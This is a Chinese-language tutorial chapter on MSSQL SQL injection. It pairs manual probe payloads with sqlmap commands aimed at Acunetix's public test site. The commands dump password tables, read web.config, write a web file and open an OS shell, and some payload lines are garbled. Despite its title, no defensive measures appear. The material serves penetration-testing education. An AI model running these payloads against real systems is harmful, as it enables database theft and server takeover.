5.2 使用sqlmap进行MSSQL注入及防御
5.2.1 MSSQL数据注入简介
SQL注入攻击是通过带入恶意查询语句对后台数据库进行各种违规操作的行为,称为SQL注入攻击,一直位于OWASP榜首,常见的架构是ASP+IIS+MSSQL或者ASP.NET+IIS+MSSQL,当然也有JSP和PHP等相关框架使用MSSQL数据库的情景
5.2.2 MSSQL数据库注入判断
在使用sqlmap进行MSSQL注入时,需要手工进行注入点判断和测试,也可以使用一些工具进行判断测试
1. 数据库类型判断
(1) 单引号判断
如果在目标站点上加入单引号,通过页面报错,判断数据库的类型,如果是返回显示有包含SQL Server,那么可以确认数据库类型是MSSQL
(2) 不显示数据库类型
在某些情况下可能会显示"500 - Internal server error" 错误信息,这种情况下有可能是存在SQL注入
(3) 获取网站的真实路径
有时候某些站点加入单引号会有显示出错的信息,却不一定存在SQL注入漏洞,但是能够暴露出真实的路径也给外面提供的更有效的攻击信息
(4) 通过查询sysobjects 值来判断
通过查询sysobjects值来判断,可以参考一下两个查询,具体如下:
* and exists(select * from sysobjects)--
* and exists(select count(*) from sysobjects)--
http://testasp.vulnweb.com/showforum.asp?id=0%20and%20exists(select%20*%20from%20sysobjects)--
http://testasp.vulnweb.com/showforum.asp?id=0%20and%20exists(select%20count(*)%20from%20sysobjects)--
以上显示是正常的,表示为SQL Server
2. 判断注入点
通过使用and 1=1 和 and 1=2 然后根据页面显示的访问结果来判断是否存在注入,具体看如下访问地址:
http://testasp.vulnweb.com/showforum.asp?id=0%20and%201=1 访问结果正常
http://testasp.vulnweb.com/showforum.asp?id=0%20and%201=2 访问结果异常,显示500内部错误
有一种情况下,上面两个URL的访问方式显示都正常,但是结果值不一样,也是有可能存在SQL注入
3. 判断数据库的版本号
(1) 有回显模式and @@version>0
当注入点将查询语句带入数据库进行查询,得到结果后又与0进行了大小的比较,由于无法将字符与数字进行比较和转换,浏览器就直接将查询的结果以错误的形式返回给浏览器,因此就暴露出了它的版本号信息
(2) 无回显模式 and substring((select @@version), 22, 4)=‘2014‘--
其中,后门的2008就是数据库的版本号,如果返回正常那么就是对应的数据库版本号了,有2000,2005,2008,2012,2014,2016等等
http://testasp.vulnweb.com/showforum.asp?id=0%20and%20substring((select%20@@version),%2022,%204)=%272014%27--
显示正常,可以判断AVWS的测试站点是SQL Server 2014
(3) 回显模式,查询版本信息 and 1=(select @@version)
4. 查看当前连接数据库的用户名
(1) 检测是否为sa权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
(2) 检测是否为db权限
and 1=(select IS_MEMBER(‘db_owner‘))
5. 查看当前连接数据库
and db_name()>0
and 1=(select db_name())--
6. 查看其他数据库
命令如下:
and 1=(select quotename(count(name)) from master..sysdatabases)--
and 1=(select cast(count(name as varchar)%2bchar(1) from master..sysdatabases)) --
and 1=(select str(count and 1=(select quotename (count(name)) from master..sysdatabases where dbid>5)--
and 1=(select str(count(name))%2b‘|‘ from master..sysdatabases where dbid>5) --
and 1=(select cast (count (name) as varchar)2bchar (1) from master.. sysdatabases where dbid>5) --
and (select name from master dbo. sysdatabases where and dbid=6) > 1
Tips:dbid从1-4的数据库一般都是系统数据库
5.2.3 使用sqlmap进行MSSQL数据库SQL注入流程
1. sqlmap MSSQL注入流程
(1) 读取当前数据库版本,当前用户,当前数据库
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b --current-user --current-db
小技巧:
-o 优化参数执行
--batch 自动提交最佳参数,简写就是上面的-b
--smart 启发式智能判断,快速判断是否存在SQL注入
(2) 判断当前数据库用户特权,当前用户权限,角色和数据库架构
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --privileges --is-dba
如果知道数据库的用户名和密码,可以直接连接数据库进行测试,具体如下:
sqlmap.py -d mssql://sa:sa@127.0.0.1:1433/master --privileges --is-dba --roles --schema
(3) 读取所有数据库用户或制定数据库用户的密码需要sa权限
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --users --passwords
(4) 获取所有数据库名称及统计某数据库中数据计数
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dbs
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --count
(5) 获取指定数据库中的所有表
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --tables -D test
(6) 获取指定数据库名中指定的字段
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --columns -D test -T admin
(7) 获取指定数据库名中指定表中指定字段的数据
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D test -T admin -C "username,password" -s "sqlnmapdb.log"
(8) file-read 读取Web文件
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --file-read "D:/www/web.config"
(9) file-write写入文件到Web
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --file-write ‘/root/bmfx.aspx‘ --file-dest ‘D:/www/bmfxtest.aspx‘
(10) 导出全部数据
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -Dtest --dump-all
(11) SQL shell或者SQL查询
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --sql-shell
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --sql-query=‘查询的语句‘
(12) os-shell
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --os-shell
2. sqlmap直连MSSQL
(1) 需要安装pymssql ,通过使用pip install pymssql安装
(2) 直接连接mssql命令
sqlmap.py -d mssql://sa:sa@127.0.0.1:1433/master
5.2.4 漏洞手工测试或扫描
1. 选中目标站点
此实例就是AVWS的官方测试站点进行测试http://testasp.vulnweb.com/showforum.asp?id=0
2. 扫描或手工测试漏洞
添加单引号进行测试
此实例就是AVWS的官方测试站点进行测试http://testasp.vulnweb.com/showforum.asp?id=0‘
5.2.5 使用sqlmap进行SQL注入实际测试
1. 测试是否存在注入点
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0
Tips:测试的时候可以加上如下参数
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b -o
-o 优化参数执行
--batch 自动提交最佳参数,简写就是上面的-b
2. 获取当前数据库名称
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --current-db
获取到当前数据库名称是acuforum
3. 获取当前数据库的多项信息
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b --privilegs --is-dba --roles --schema
命令执行后会获取当前数据库权限是否是DBA,角色,及schema值
4. 获取数据库表
命令如下:
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --tables
5. 获取数据表列
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --columns -D acuforum -T users
6. 获取数据库中表数据量大小
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --count
Tips:获取数据库中表数据量大小主要用来了解数据库的数据情况,上报漏洞的时候用来描述其危害性,在实际测试过程中除非必要,否则不要去执行获取真实数据(500条个人隐私数据是一个法律标准)
7. 导出数据库
(1) 导出全部数据库
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --dump-all
(2) 导出指定表
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D acuforum -T user -C "uname,upass"
sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D acuforum -T user -C "uname,upass" -s "acuforum.log" //保存结果为acuforum.log
8. 查看sqlmap注入结果的日志文件
一般测试完成之后,sqlmap会提示在哪个位置,一般模式的位置就在C:\Users\bmfx\.sqlmap\output\testasp.vulnweb.com 下面